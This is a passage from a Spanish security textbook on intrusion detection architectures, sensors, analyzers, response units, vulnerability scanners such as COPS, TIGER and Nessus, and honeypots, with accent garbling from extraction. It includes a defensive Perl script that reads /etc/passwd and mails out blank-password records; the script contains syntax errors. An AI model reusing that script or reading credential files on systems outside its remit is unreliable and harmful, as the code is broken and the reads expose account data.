rición de nuevos modelos de detección de intrusiones. Por otro lado, los daños provocados

por el famoso gusano de Robert Morris en el 1988 contribuyeron a aunar esfuerzos entre

actividades comerciales y académicas en la b́usqueda de soluciones de seguridad en este

campo.

El primer paso fue la fusión de los sistemas de detección basados en la monitorización del

sistema operativo (y aplicaciones del sistema operativo) junto con sistemas distribuidos de

deteccíon de redes, capaces de monitorizar en grupo ataques e intrusiones a través de redes

conectadas a internet.

El objetivo inicial de este sistema distribuido era proporcionar medios que permitieran

centralizar el control y la publicación de resultados en un analizador central. La siguiente

figura muestra un diagrama de dicho sistema:

Sistema experto

Gestor DIDS

Interficie de usuario

Gestor de comunicaciones
Administrador

de

seguridad

Agent de

comunicación

Generador de

eventos

Agent de

comunicación

Generador de

eventos

Monitor de

sistema

Monitor de

red

Por esta mismáepoca comenzaron a aparecer los primeros programas de detección de

intrusos de uso comercial. Algunas empresas los desarrollaban para ocupar una posición

destacada en elámbito de la seguridad, aunque otras lo hacı́an para mejorar los niveles de

seguridad exigidos por la NCSC.

Actualmente, existe un gran número de sistemas de detección de intrusos disponibles para

proteger redes inforḿaticas. Aunque muchos de estos sistemas son comerciales o reser-

vados para entornos militares y de investigación, existe hoy en d́ıa un gran ńumero de

soluciones libres que se pueden utilizar sin ningún tipo de restriccíon.
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5.2.2. Arquitectura general de un sistema de detección de intrusiones

Como acabamos de ver, desde el comienzo de la década de los ochenta se han llevado

a cabo multitud de estudios referentes a la construcción de sistemas para la detección de

intrusos. En todos estos estudios se han realizado diferentes propuestas y diseños con el

objetivo de cumplir los siguientes requisitos:

• Precisíon. Un sistema de detección de intrusos no debe que confundir acciones legı́timas

con acciones deshonestas a la hora de realizar su detección.

Cuando las acciones legı́timas son detectadas como acciones maliciosas, el sistema de

deteccíon puede acabar provocando una denegación de servicio contra un usuario o

un sistema leǵıtimo. Este tipo de detecciones se conoce comofalsos positivos. Cuanto

menor sea el ńumero de falsos positivos, mayor precisión tendŕa el sistema de detección

de intrusos.

• Eficiencia. El detector de intrusos debe minimizar la tasa de actividad maliciosa no

detectada (conocida comofalsos negativos). Cuanto menor sea la tasa de falsos negati-

vos, mayor seŕa la eficiencia del sistema de detección de intrusos.́Este es un requisito

complicado, ya que en ocasiones puede llegar a ser imposible obtener todo el conoci-

miento necesario sobre ataques pasados, actuales y futuros.

• Rendimiento.El rendimiento ofrecido por un sistema de detección de intrusos debe ser

suficiente como para poder llegar a realizar una detección en tiempo real. La detección

en tiempo real responde a la detección de la intrusíon antes de quéesta llegue a pro-

vocar dãnos en el sistema. Según los expertos, este tiempo deberı́a de ser inferior a un

minuto.

• Escalabilidad.A medida que la red vaya creciendo (tanto en medida como en veloci-

dad), tambíen aumentaŕa el ńumero de eventos que deberá tratar el sistema. El detector

tiene que ser capaz de soportar este aumento en el número de eventos, sin que se pro-

duzca ṕerdida de información. Este requisito es de gran relevancia en sistemas de

deteccíon de ataques distribuidos, donde los eventos son lanzados en diferentes equi-

pos del sistema y deben ser puestos en correspondencia por el sistema de detección de

intrusiones.

• Tolerancia en fallos.El sistema de detección de intrusiones debe ser capaz de continuar

ofreciendo su servicio aunque sean atacados distintos elementos del sistema incluyen-

do la situacíon de que el propio sistema reciba un ataque o intrusión).

Con el objetivo de normalizar la situación, algunos miembros del IETF* presentaron a

-* Internet Engineering Task
Force.
-**Common Intrusion
Detection Framework.

mediados de 1998 una arquitectura de propósito general para la construcción de sistemas

de deteccíon de intrusos, conocida como CIDF**. El esquema propuesto se corresponde

con el diagrama mostrado en la siguiente figura:
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A-Box

(Análisis)

Salida:

Eventos

interpretados

E-Box

(Eventos)

D-Box

(Base de datos)

R-Box

(Respuestas)

Salida: Reacciones según

los eventos

Salida:

Eventos no interpretados

Salida:

Almacenamiento

de los eventos

Eventos

Dos ãnos ḿas tarde se creó un nuevo grupo de trabajo en el IETF con la intención de es-

*Intrusion Detection Working
Group.

tandarizar y mejorar la propuesta del CIDF. Este grupo de trabajo, conocido como IDWG*,

replantea nuevamente los requisitos necesarios para la construcción de un marco de desar-

rollo geńerico y se marca los siguientes objetivos:

• Definir la interaccíon entre el sistema de detección de intrusos frente a otros elementos

de seguridad de la red, como pueden ser los sistemas de prevención (cortafuegos, listas

de control de accesos, . . . ).

Su primera propuesta se conoce con el nombre deTunnel Profile. Se trata de la imple-

mentacíon de un mecanismo para la cooperación entre los distintos elementos de se-

guridad mediante el intercambio de mensajes. Este mecanismo garantiza una correcta

comunicacíon entre los diferentes elementos, proporcionando privacidad, autenticidad

e integridad de la información intercambiada (alertas, eventos, . . . ).

-** Intrusion Detection
Message Exchange Format
-***Intrusion Detection
Exchange Protocol

• Especificar el contenido de los mensajes intercambiados (eventos, alertas, . . . ) entre

los distintos elementos del sistema. Por esto, proponen el formatoIDMEF** y el

protocolo de intercambio de mensajesIDXP***.

Observando las propuestas tanto del CIDF como las del IDWG podemos ver que los ele-

mentos necesarios para la construcción de un sistema para la detección de intrusos se pue-

den agrupar en las siguientes cuatro categorı́as que a continuación pasaremos a comentar

con ḿas detalle:

1) Recolectores de información.

2) Procesadores de eventos.

3) Unidades de respuesta.

4) Elementos de almacenamiento.
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5.2.3. Recolectores de información

.

Un recolector de información, tambíen conocido comosensor, es el responsable

de la recogida de información de los equipos monitorizados por el sistema de de-

teccíon.

La informacíon recogida será transformada como una secuencia de tuplas de información

(eventos) y seŕa analizada posteriormente por los procesadores de información.

La informacíon almacenada en estos eventos será la base de decisión para la detección

del IDS. Por lo tanto, será importante garantizar su integridad frente a posibles ataques

de modificacíon, a la hora de transmitir estos eventos entre el sensor que los generó y el

componente de procesado que los tratará.

Existen diferentes formas de clasificar las posibles implementaciones de este componente.

Detallamos a continuación tres de las propuestas más utilizadas.

.

-* En inglés, host based
sensors.
-** En inglés, network based
sensors.
-*** En inglés, application
based sensors.

El primer tipo, conocido comosensores basados en equipo*, se encarga de anali-

zar y recoger información de eventos a nivel de sistema operativo (como por ejem-

plo, intentos de conexión y llamadas al sistema).

En el segundo tipo encontramos sensores que recogen información de eventos su-

cedidos a nivel de tráfico de red (por ejemplo, analizando las cabeceras IP de todos

los datagramas que pasan por la interfaz de red). Este tipo de componentes se

conoce comosensores basados en red**.

El tercer tipo, conocido como sensoresbasados en aplicacíon***, recibe la infor-

macíon de aplicaciones que se están ejecutando, y podrı́an ser considerados como

un caso especial de los sensores basados en equipo.

Elección de sensores

Durante lośultimos ãnos se ha debatido bastante cúal de los tres tipos de sensores ofrece

mejores prestaciones. Actualmente, la mayorı́a de los sistemas de detección tratan de

unificar las tres opciones, ofreciendo una solución de sensores hı́brida.

• Sensores basados en equipo y en aplicación. Los sensores basados en equipo y en

aplicacíon podŕan recoger información de calidad, adeḿas de ser f́acilmente configu-

rables y de poder ofrecer información de gran precisión.
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Además, estos datos pueden llegar a tener una gran densidad de información como, por

ejemplo, la informacíon reportada por los servidores de ficheros de registro del sistema.

Tambíen pueden llegar a incluir gran cantidad de información de preprocesado, que

facilitará el trabajo de los componentes de análisis de la informacíon.

Por contra, estos sensores pueden repercutir notablemente en la eficiencia del sistema

en el que se ejecuten.

• Sensores basados en red.La principal ventaja de los sensores basados en red, frente

a las otras dos soluciones, es la posibilidad de trabajar de forma no intrusiva. Por lo

tanto, la recogida de información no afecta a la forma de trabajar de los equipos o a la

propia infraestructura. Al no residir forzosamente en los equipos que hay que analizar,

son ḿas resistentes a sufrir ataques.

Por otra parte, la mayorı́a de los sensores basados en red son independientes del sistema

operativo y pueden obtener información a nivel de red (como, por ejemplo, la existencia

de fragmentación en datagramas IP) que no podrı́a ser proporcionada por sensores

basados en equipo.

.

Algunos sensores basados en red son en realidad conmutadores con capacidad de

ańalisis transparente frente al resto del sistema.

Como desventaja principal de los sensores basados en red cabe destacar la escasa es-

calabilidad que esta solución ofrece. En el caso de redes con carga de tráfico muy

elevada, es muy probable que estos sensores puedan perder paquetes, lo que supone

una degradación en su capacidad de recogida de información.

Estos sensores tendrán dificultades a la hora de trabajar en redes de alta velocidad

como, por ejemplo, redes Gigabit Ethernet. Otro problema es el uso de comunicaciones

cifradas, que hará que la informacíon que se debe recoger sea incomprensible por el

sensor, reduciendo de esta forma sus capacidades de detección.

Instalación de sensores

No es para nada trivial determinar el lugar exacto en el que se deben colocar estos compo-

nentes (desde dónde recoger la información). Los ḿas sencillos de colocar son los sensores

basados en aplicación, generalmente instalados en aquellas partes del programa donde se

ofrecen servicios de depuración y generacíon de ficheros de registro. Pero la situación es

mucho ḿas dif́ıcil para las otras dos variantes.
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Cuando consideramos la instalación de sensores basados en equipo, la gran variedad de

sistemas operativos existentes y las distintas facilidades ofrecidas por cada uno de ellos,

supone un serio problema. Además, no suele ser simple determinar qué parte de la infor-

macíon generada por el núcleo de un sistema operativo deberı́a ser relevante a la hora de

analizar.

En el caso de sistemas Unix, existe la propuesta delLibro naranja (ya comentado en este

mismo ḿodulo), en el que se muestran veintitrés puntos de interés donde deberı́a analizarse

informacíon.

En el caso de sensores basados en red, la utilización de redes segmentadas mediante con-

mutadores de red supone un gran inconveniente en cuanto a escoger el lugar correcto en el

que se deben colocar estos sensores.

Una topoloǵıa en estrella consigue que los paquetes vayan encaminadosúnicamente entre

las dos partes de una comunicación, por lo que serı́a necesario colocar el sensor en un

punto en el que fuera capaz de analizar cualquier intercambio de información.

Una primera opcíon seŕıa colocar el sensor sobre el enlace donde se unen todos los equipos

de la red. Esta opción podŕıa suponer la necesidad de analizar una cantidad de datos tan

elevada que el sensor acabarı́a perdiendo información.

La otra opcíon seŕıa la colocacíon del sensor entre el enlace de red que separa el interior y

el exterior, como si se tratara de un sistema de prevención perimetral adicional.

Una variante de estas dos opciones serı́a la utilizacíon del puerto de intervención (tap port)

que ofrecen muchos conmutadores. Se trata de un puerto especial que refleja todo el tráfico

que pasa a través del equipo. Desgraciadamente, este puerto podrı́a fácilmente sobrecargar

la capacidad de análisis de los sensores si la cantidad de tráfico es muy elevada. Además,

el ancho de banda interno del dispositivo es suficiente para tratar con todos los puertos

activos a la vez, pero si el tráfico analizado comienza a crecer, es posible que se supere la

capacidad de intervención del puerto, con la correspondiente pérdida de paquetes que ello

comportaŕıa.

5.2.4. Procesadores de eventos

.

Los procesadores de eventos, también conocidos comoanalizadores, conforman el

núcleo central del sistema de detección. Tienen la responsabilidad de operar sobre

la informacíon recogida por los sensores para poder inferir posibles intrusiones.
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Para inferir intrusiones, los analizadores deberán implementar algun esquema de detec-

ción. Dos de los esquemas más utilizados para realizar la detección son el modelo de

deteccíon de usos indebidos y el modelo de detección de anomalı́as. A continuacíon pasa-

remos a comentar brevemente estos dos esquemas de detección.

Esquema de detección basado en usos indebidos

.

La deteccíon de intrusiones basada en el modelo de usos indebidos cuenta con el

conocimientoa priori de secuencias y actividades deshonestas. Los procesadores

de eventos que implementan este esquema analizan los eventos en busca de pa-

trones de ataque conocidos o actividad que ataque vulnerabilidades tı́picas de los

equipos.

Estas secuencias o patrones se conocen bajo el nombre defirmas de ataquesy podŕıan

ser comparadas con las firmas vı́ricas que utilizan los productos actuales de detección de

virus.

Aśı pues, los componentes de detección basados en el modelo de usos indebidos com-

paraŕan los eventos enviados por los sensores con las firmas de ataque que mantienen

almacenadas en sus bases de conocimiento.

En el momento de detectar concordancia de algún acontecimiento o secuencia de eventos

con alguna firma de ataque, el componente lanzará una alarma.

A la hora de implementar un esquema de detección basado en usos indebidos, dos de los

modelos ḿas utilizados son los analizadores basados en el reconocimiento de patrones y

los analizadores basados en transiciones de estados.

• Analizadores basados en reconocimiento de patrones.Mediante la utilizacíon de

reglas del tipoif-then-elsepara examinar los datos, estos analizadores procesan la in-

formacíon por medio de funciones internas en el sistema, de forma completamente

transparente al usuario. La siguiente figura muestra el esquema de una reglaif-then-

else.

1Evento X? 1Evento Y?
Falso

1Evento Z?
FalsoFalso

Ataque

Verdadero Verdadero Verdadero
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Aunque este modelo permite detectar una intrusión a partir de patrones conocidosa

priori , su desventaja principal es que los patrones no definen un orden secuencial de

acciones.

Detectar mediante este modelo ataques compuestos por una secuencia de eventos pu-

ede llegar a comportar grandes dificultades. Por otra parte, el mantenimiento y la

actualizacíon de la base de datos de patrones son otros puntos crı́ticos de este modelo.

• Analizadores basados en transiciones de estados.Este modelo hace uso de autómatas

finitos para representar los ataques, donde los nodos representan los estados, y las flec-

has (arcos), las transiciones.

S1 S2 S3

Comprobaciones Comprobaciones Comprobaciones

exists(object)=false

attacker!=root

owner(object)=user

setuid(object)=disabled

owner(object)=user

setuid(object)=enabled

La utilización de diagramas de transición facilita la asociación entre los estados y los

distintos pasos que realiza un atacante desde que entra en un sistema, con privilegios

limitados, hasta que se hace con el control del mismo.

Como principales ventajas de este modelo se puede destacar que los diagramas de

transicíon permiten realizar una representación a alto nivel de escenarios de intrusión,

ofreciendo una forma de identificar una serie de secuencias que conforman el ataque.

Por otra parte, estos diagramas definen de forma muy sencilla los ataques que se deben

detectar. El motor de análisis podŕıa llegar a utilizar diferentes variantes del mismo

diagrama para identificar ataques similares.

Por contra, los diagramas de transición, y por lo tanto, los distintos pasos de la secu-

encia, se deben crear mediante lenguajes especı́ficos que, en muchas ocasiones, suelen

ser muy limitados e insuficientes para recrear ataques complejos.

Esta limitacíon provoca que este modelo no pueda detectar algunos de los ataques más

comunes, siendo necesario el uso de motores de análisis adicionales como complemen-

to del mismo.
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Esquema de detección basado en anomalı́as

Los procesadores de eventos que basan su detección en un esquema de anomalı́as trataŕan

de identificar actividades sospechosas comparando el comportamiento de un usuario, pro-

ceso o servicio, con el comportamiento de perfil clasificado como normal.

.

Un perfil sirve como ḿetrica (medida de un conjunto de variables) de comporta-

mientos normales. Cualquier desviación que supere un cierto umbral respecto al

perfil almacenado será tratado como una evidencia de ataque o intrusión.

Uno de los requisitos de este modelo es la necesidad de inicialización de un perfil por

defecto que se irá adaptando progresivamente al comportamiento de un usuario, proceso

o servicio no sospechoso. Es necesario, por lo tanto, el uso de heurı́sticas y descriptores

estad́ısticos que ayuden a modelar correctamente cambios en el comportamiento tan pron-

to como suceda. Otras propuestas tratan de incorporar técnicas de inteligencia artificial

para realizar estas tareas (como, por ejemplo, el uso de redes neuronales o de algoritmos

geńeticos).

La deteccíon basada en anomalı́as ofrece claras ventajas respecto a la detección basada en

usos indebidos. La ventaja más destacable es la posibilidad de detectar ataques desconoci-

dos. Esto es posible porque ,independientemente de cómo haya conseguido el atacante la

intrusión en un sistema, tan pronto como sus actividades comiencen a desviarse del com-

portamiento de un usuario normal, el procesador de eventos lanzará una alarma avisando

de una posible intrusión.

Aun aśı, el esquema de detección basado en anomalı́as presenta bastantes inconvenientes*.

* Estos inconvenientes
provocan que la mayorı́a de
los sistemas de detección
comerciales disponibles en la
actualidad implementen sus
analizadores mediante el
esquema de detección de
usos indebidos.

El primero que debemos destacar es la falta de garantı́a en el proceso de detección: un

intruso podŕıa realizar sus acciones lentamente para ir provocando cambios en el perfil de

usuario del procesador de eventos, con la finalidad que su presencia en el sistema pasara

desapercibida.

Como segundo incoveniente podemos destacar la dificultad que aparece a la hora de cla-

sificar y describir con precisión los ataques detectados mediante analizadores basados en

anomaĺıas. Generalmente, un analizador no sólo tiene que lanzar una alarma sino que

debeŕa especificar de d́onde procede el ataque, qué cambios ha sufrido el sistema, . . .

Además, la tasa de falsos positivos y negativos que puede darse utilizando este esquema

de deteccíon es un gran inconveniente, ya que no siempre una desviación respecto al perfil

esperado coincidirá con un ataque o intento de intrusión. En el caso de procesadores

cuyos eventos procedan de sensores basados en red, es posible que el número de alarmas

lanzadas (en una red de tamaño medio) supere fácilmente el centenar. Esto provoca que,

con frecuencia, los administradores de la red acaben ignorando las alarmas lanzadas por el

sistema de detección, o incluso desactivando el sistema al completo.
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5.2.5. Unidades de respuesta

.

Las unidades de respuesta de un sistema de detección se encargaran de iniciar ac-

ciones de respuesta en el momento en que se detecte un ataque o intrusión. Estas

acciones de respuesta pueden ser automáticas (respuesta activa) o requerir interac-

ción humana (respuesta passiva).

Las respuestas activas tienen como objetivo actuar contra el ataque, intentando su neutra-

lización, en el momento en el que es detectado (o mientras una intrusión todav́ıa contińua

en curso). Un ejemplo de respuesta activa puede ser la cancelación de la conexíon en red

que origińo el ataque o el propio seguimiento del ataque que permitirı́a más adelante el

ańalisis correspondiente. Por contra, las respuestas pasivas se limitan a lanzar una alarma

para informar y describir el ataque detectado en el administrador del sistema. La mayorı́a

de los componentes de respuesta pasiva ofrecen distintas formas de hacer llegar esta infor-

macíon al administrador como, por ejemplo, mediante un correo electrónico, mediante la

utilización de mensajes SMS, etc.

El problema de las respuestas activas es que pueden acabar en una denegación de servicio

contra usuarios o sistemas legı́timos. Es muy probable que algunas de las alarmas que los

procesadores hacen saltar sean incorrectas. Por ejemplo, si la unidad de respuesta cortara

inmediatamente con la conexión que origińo esta alarma, o con aquellos procesos consi-

derados sospechosos, ello podrı́a suponer la ṕerdida de trabajo de un usuario o servicio

inocente.

En la mayoŕıa de los sistemas (por ejemplo, servidores de comercio electrónico) este tipo

de errores puede suponer la pérdida de clientes, la cual cosa es inadmisible. Por este

motivo, la mayoŕıa de empresas del sector del comercio electrónico se decantan por la

contratacíon de especialistas que, manualmente, analicen los informes generados por el

sistema de detección para determinar si es necesaria una respuesta activa ante tal aviso.

Al igual que los sensores, las unidades de respuesta se podrı́an clasificar en distintas cate-

goŕıas seǵun el punto de actuación. Las dos categorı́as ḿas generales son las unidades de

respuesta basadas en equipo y las unidades de respuesta basadas en red.

• Unidades de respuesta basadas en equipo.Se encargan de actuar a nivel de sistema

operativo (como, por ejemplo, bloqueo de usuarios, finalización de procesos, etc).

• Unidades de respuesta basadas basadas en red.Actúan a nivel de red cortando

intentos de conexión, filtrando direcciones sospechosas, etc.
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5.2.6. Elementos de almacenamiento

En algunas situaciones, el volumen de información recogida por los sensores del sistema

de deteccíon llega a ser tan elevado que se hace necesario, previo análisis, un proceso de

almacenamiento. Supongamos, por ejemplo, el caso de que todos los paquetes de una red

de alta velocidad deban ser inspeccionados por los analizadores del sistema de detección.

En este caso, será necesario plantearse una jerarquı́a de almacenamiento que reduzca el

volumen de información sin penalizar las posibilidades de análisis.

Una posibilidad es la clasificación de la informacíon en t́erminos de ańalisis a corto y largo

plazo.

En el caso de ańalisis a corto plazo, la información seŕa almacenada directamente en los

propios sensores (enbuffersinternos) de forma que después de realizar un procesado previo

de los datos, y su transformación a un formato de evento,éstos sean transmitidos a los

elementos de análisis.

En el caso de información a medio plazo, los datos preprocesados serán almacenados en

dispositivos secundarios (con el formato apropiado) en lugar de ser transmitidos a los ana-

lizadores del sistema.

.

El tiempo de almacenamiento de una información a medio plazo puede ser del

orden de dos o tres dı́as, con el objetivo de que pueda ser consultada por los anali-

zadores del sistema en el caso de que el proceso de análisis aśı lo requiera.

Eventualmente, y después de un proceso de compresión (para reducir el tamaño), parte

de la informacíon a medio plazo podrá continuar almacenada durante largos perı́odos de

tiempo (del orden de meses o incluso años) a la espera de que pueda ser consultada por

procesos de detección a largo plazo.
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5.3. Esćaners de vulnerabilidades

.

.

Los esćaners de vulnerabilidades son un conjunto de aplicaciones que nos permi-

tirán realizar pruebas o tests de ataque para determinar si una red o un equipo tiene

deficiencias de seguridad que pueden ser explotadas por un posible atacante o co-

munidad de atacantes.

Aun no siendo formalmente un elemento de detección tradicional, los esćaners de vulne-

rabilidades poseen una estrecha relación con las herramientas de detección utilizadas en

los sistemas de detección de intrusos. En realidad, en muchosámbitos se les considera un

caso especial de estas herramientas y, generalmente, son utilizados para realizar un análisis

de intrusiones.

Esto es aśı porque dentro de los mecanismos de detección de ataques podemos distinguir

entre elementos de detección de tipo dińamico (seŕıa el caso de las herramientas de detec-

ción utilizadas en un sistema de detección de intrusos) y elementos de detección de tipo

est́atico (los esćaners de vulnerabilidades). En los primeros se trabaja de forma continua

(como lo haŕıa una videoćamara de vigilancia) mientras que los segundos se concentran en

intervalos de tiempos determinados (serı́a el caso de una cámara fotogŕafica).

A causa de este aspecto estático, los esćaners de vulnerabilidadesúnicamente podrán de-

tectar aquellas vulnerabilidades contenidas en su base de conocimiento. Además, śolo son

capaces de identificar fallos de seguridad en los intervalos en que se ejecutan. No obs-

tante, son unas herramientas de gran utilidad y un buen complemento de los sistemas de

deteccíon instalados en una red.

El funcionamiento general de un escáner de vulnerabilidades se podrı́a dividir en tres eta-

pas:

• Durante la primera etapa se realiza una extracción de muestras del conjunto de atributos

del sistema, para poder almacenarlas posteriormente en un contenedor de datos seguro.

• En la segunda etapa, estos resultandos son organizados y comparados con, al menos,

un conjunto de referencia de datos. Este conjunto de referencia podrı́a ser una plantilla

con la configuracíon ideal generada manualmente, o bien ser una imagen del estado del

sistema realizada con anterioridad.

• Finalmente, se generará un informe con las diferencias entre ambos conjuntos de datos.
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Las tres etapas anteriores se podrı́an mejorar mediante la utilización de motores de compa-

ración en paralelo o incluso mediante la utilización de ḿetodos criptogŕaficos para detectar

cambios en los objetos monitorizados.

A la hora de clasificar este tipo de herramientas encontramos básicamente dos categorı́as

principales, seǵun la localizacíon desde la que se obtienen datos: escáners basados en

máquina o esćaners basados en red.

5.3.1. Esćaners basados en ḿaquina

Este tipo de herramientas fue el primero en utilizarse para la evaluación de vulnerabilida-

des. Se basa en la utilización de informacíon de un sistema para la detección de vulnera-

bilidades como, por ejemplo, errores en permisos de ficheros, cuentas de usuario abiertas

por defecto, entradas de usuario duplicadas o sospechosas, etc.

Esta informacíon se puede obtener mediante consultas al sistema, o a través de la revisíon

de distintos atributos del mismo.

Un simple guíon de sistema como el siguiente se encargarı́a de avisar mediante correo

Las vulnerabilidades que se
suelen encontrar mediante la
evaluación basada en
máquina acostumbran a estar
relacionadas con ataques de
escalada de privilegios.

electŕonico al administrador del sistema en caso de encontrar entradas anómalas en el

fichero de contraseñas del sistema:

#!/usr/bin/perl
$count==0;
open(MAIL, "| /usr/lib/sendmail mikal");
print MAIL "To: Administration\n";
print MAIL "Subject: Password Report\n";
open(PASSWORDS, "cat /etc/passwd |");

while(<PASSWORDS>) {
$linenumber=$.;
@fields=split(/:/, $_);
if($fields[1] eq "") {

$count++;
print MAIL "\n***WARNING***\n";
print MAIL "Line $linenumber has a blank password.\n";
print MAIL "Here's the record: @fields\n";

}
}

close(PASSWORDS);
if($count < 1) print MAIL "No blank password found\n";
print MAIL ".\n";
close(MAIL);

Los motores de ańalisis de vulnerabilidades basados en máquina est́an muy relacionados

con el sistema operativo que evalúan, lo cual provoca que su mantenimiento sea un tanto

costoso y complica su administración en entornos heterogéneos.
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Uno de los primeros escáners de vulnerabilidades en sistemas Unix fue COPS, una her-

ramienta que se encargaba de analizar el sistema a la búsqueda de problemas de configu-

ración t́ıpicos como, por ejemplo, permisos erróneos de ficheros, directorios y servicios,

contrasẽnas de usuario d́ebiles, bits de suplantación impropios, etc.́Este seŕıa un ejemplo

de informe reportado por COPS:

ATTENTION:

Security Report for Sun Abr 20 20:57:09 CET 2003 from host vm3

Warning! NFS filesystem exported with no restrictions!
Warning! NFS filesystem exported with no restrictions!
Warning! NFS filesystem exported with no restrictions!
Warning! NFS filesystem exported with no restrictions!
Warning! /dev/fd0 is_World_writable!
Warning! /dev/fd0 is_World_readable!
Warning! /var/spool/mail is_World_writable!
Warning! /etc/security is_World_readable!
Warning! /usr/local/bin is_World_writable!
Warning! /root/adduser.log is_World_readable!
Warning! /root/bash.man is_World_readable!
Warning! /root/bin is_World_readable!
Warning! /root/control is_World_readable!
Warning! /root/cops_1_04.tar is_World_readable!
Warning! /root/cops.man is_World_readable!
Warning! /root/cops_man.html is_World_readable!

Otra herramienta similar es TIGER que, al igual que COPS, se compone de un conjunto

de aplicaciones y guiones de sistema con el objetivo de realizar auditorı́as de seguridad en

sistemas Unix. Su objetivo principal era el de informar de las distintas formas en las que

puede comprometerse el sistema.

La siguiente imagen muestra un ejemplo de informe reportado por TIGER:

#hosts.equiv      This file describes the names of the
#                 hosts which are to be considered "equivalent",
#                 i.e. which are to be  trusted enought
#                 for allowing rsh (1) commands.
#
#hostname
#Checking accounts from /etc/passwd...
#Performing check of .netrcfiles...
#Checking accounts from /etc/passwd...
#Performing check of PATH components...
#Only checking user'root'

--WARN--[path002w]/usr/bin/amadmin in root's
         PATH from default is not owned  by root (owned by amanda).
--WARN--[path002w]/usr/bin/amcheckdb in root's
         PATH from default is not owned by root (owned by amanda).
--WARN--[path002w]/usr/bin/amcleanup in root's
         PATH from default is not owned by root (owned by amanda).
--WARN--[path002w]/usr/bin/amdump in root's
         PATH from default is not owned by root (owned by amanda).
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5.3.2. Esćaners basados en red

Los esćaners de vulnerabilidades basados en red aparecieron posteriormente y se han ido

haciendo cada vez ḿas populares. Obtienen la información necesaria a través de las cone-

xiones de red que establecen con el objetivo que hay que analizar.

Aśı pues, los esćaners de vulnerabilidades basados en red realizan pruebas de ataque y

registran las respuestas obtenidas. No se deben confundir estos analizadores de vulnerabi-

lidades basados en red con los analizadores de sistemas de detección de intrusos. Aunque

un esćaner de estas caracterı́sticas puede ser muy similar a una herramienta de detección

de intrusiones, no representa una solución tan completa.

Dos de las t́ecnicas ḿas utilizadas para la evaluación de vulnerabilidades basadas en red

son las siguientes:

• Prueba por explotacíon. Esta t́ecnica consiste en lanzar ataques reales contra el ob-

jetivo. Estos ataques están programados normalmente mediante guiones de comandos.

En lugar de aprovechar la vulnerabilidad para acceder al sistema, se devuelve un in-

dicador que muestra si se ha tenidoéxito o no. Obviamente, este tipo de técnica es

bastante agresiva, sobre todo cuando se prueban ataques de denegación de servicio.

• Métodos de inferencia.El sistema no explota vulnerabilidades, sino que busca indici-

os que indiquen posibilidades de ataque, tratando de detectar posibles deficiencias de

seguridad en el objetivo.

Este ḿetodo es menos agresivo que el anterior, aunque los resultados obtenidos son

menos exactos. Nessus ...

... es un escáner de
vulnerabilidades de red
desarrollado bajo el
paradigma de software libre,
distribuı́do inicialmente bajo
licencia GPL (General Public
License) de GNU y
actualmente bajo licencia
LGPL (Lesser General Public
License) de GNU. Fue
desarrollado por Renaud
Deraison en 1998. Su
precursor fue SATAN, otro
escáner de vulnerabilidades
de red, desarrollado por
Wietse Venema y Dan
Farmer. Ved la página web
www.nessus.org para más
información.

Ejemplos de t́ecnicas de inferencia pueden ser la comprobación de versíon de sistema

para determinar si existe una vulnerabilidad, la comprobación del estado de determina-

dos puertos para descubrir cuáles est́an abiertos, la comprobación de conformidad de

protocolo mediante solicitudes de estado, etc.

Uno de los productos ḿas utilizados actualmente como escáner de vulnerabilidades basado

en red es Nessus.

.

Nessuses una herramienta basada en un modelo cliente-servidor que cuenta con su

propio protocolo de comunicación. De forma similar a otros escáners de vulnerabi-

lidades existentes, el trabajo correspondiente para explorar y probar ataques contra

objetivos es realizado por el servidor de Nessus (nessusd), mientras que las ta-

reas de control, generación de informes y presentación de los datos son gestionadas

por el cliente (nessus).
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La siguiente figura muestra un ejemplo de informe reportado con Nessus:
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5.4. Sistemas de decepción

.

Hasta el momento, los mecanismos de seguridad que hemos visto buscan abordar el pro-

blema de la seguridad de una red desde un punto de vista defensivo. El inconveniente

de este acercamiento es que esúnicamente defensivo y sólo es el atacante quien toma la

iniciativa.

Como novedad, los sistemas de decepción trataŕan de cambiar las reglas del juego, ofreci-

endo al administrador de la red la posibilidad de tomar la iniciativa.

.

Los sistemas de decepción, en vez de neutralizar las acciones de los atacantes,

utilizan t́ecnicas de monitorización para registrar y analizar estas acciones, tratando

de aprender de los atacantes.

Pese a que en algunos paı́ses no están claramente definidos los aspectos legales de estos

sistemas, lo cierto es que cada vez son más utilizados.

A continuacíon trataremos de resumir distintas estrategias que se pueden emplear para la

construccíon de este tipo de sistemas.

5.4.1. Equipos de decepción

.

Los equipos de decepción, tambíen conocidos como tarros de miel ohoneypots,

son equipos inforḿaticos conectados en que tratan de atraer el tráfico de uno o

más atacantes. De esta forma, sus administradores podrán ver intentos de ataques

que tratan de realizar una intrusión en el sistema y analizar cómo se comportan los

elementos de seguridad implementados en la red.

Otro de los objetivos es la obtención de informacíon sobre las herramientas y conocimi-

entos necesarios para realizar una intrusión en entornos de red como los que pretendemos

proteger. Toda esta información acabaŕa sirviendo para detener futuros ataques a los equi-

pos de la red de producción.
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La idea conceptual de un equipo de decepción existe desde hace varias décadas. Como

primera aproximación podŕıamos definirlo como un recurso de la red diseñado para que

varios atacantes puedan introducirse enél de forma sencilla.

Estos equipos suelen estar diseñados para imitar el comportamiento de equipos de produc-

ción reales y conseguir ası́ ser de inteŕes para una comunidad de atacantes.

Suelen contar con mecanismos de prevención para que un atacante conéxito no pueda

acceder a la totalidad de la red. Naturalmente, si un intruso consigue atacar el equipo, no

debe percatarse de que está siendo monitorizado o engañado.

Aśı pues, estos equipos deberı́an estar instalados detrás de sistemas cortafuegos configura-

dos para que se permitan conexiones de entrada al equipo de decepción, pero limitando las

conexiones de salida (para evitar que el intruso pueda atacar sistemas de producción reales

desde el equipo de decepción).

La siguiente figura muestra la ubicación de un posible equipo de decepción dentro de una

red local:

Internet

Cortafuegos

Equipo de

decepción

Encaminador

Equipo de

producción
Equipo de

producción

Examinando la actividad reportada dentro del equipo de decepción, seŕa posible identificar

el problema y detectar cómo se ha conseguido la intrusión en el sistema, además de poder

reportar la actividad desencadenada a partir de este momento.
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5.4.2. Celdas de aislamiento

Las celdas de aislamiento tienen una metodologı́a muy similar a los equipos de decepción

* En inglés, padded cell.que acabamos de ver. Mediante el uso de un dispositivo intermedio (con capacidades de

deteccíon y encaminamiento) todo el tráfico etiquetado como malicioso será dirigido hacia

un equipo de decepción (conocido en este caso como celda de aislamiento).

Al igual que en el caso anterior, una celda de aislamiento ofrece al atacante un entorno

aparentemente idéntico a un equipo real o de producción. No obstante, la celda estará

protegida de tal manera que no pueda poner en riesgo al resto de equipos de la red o del

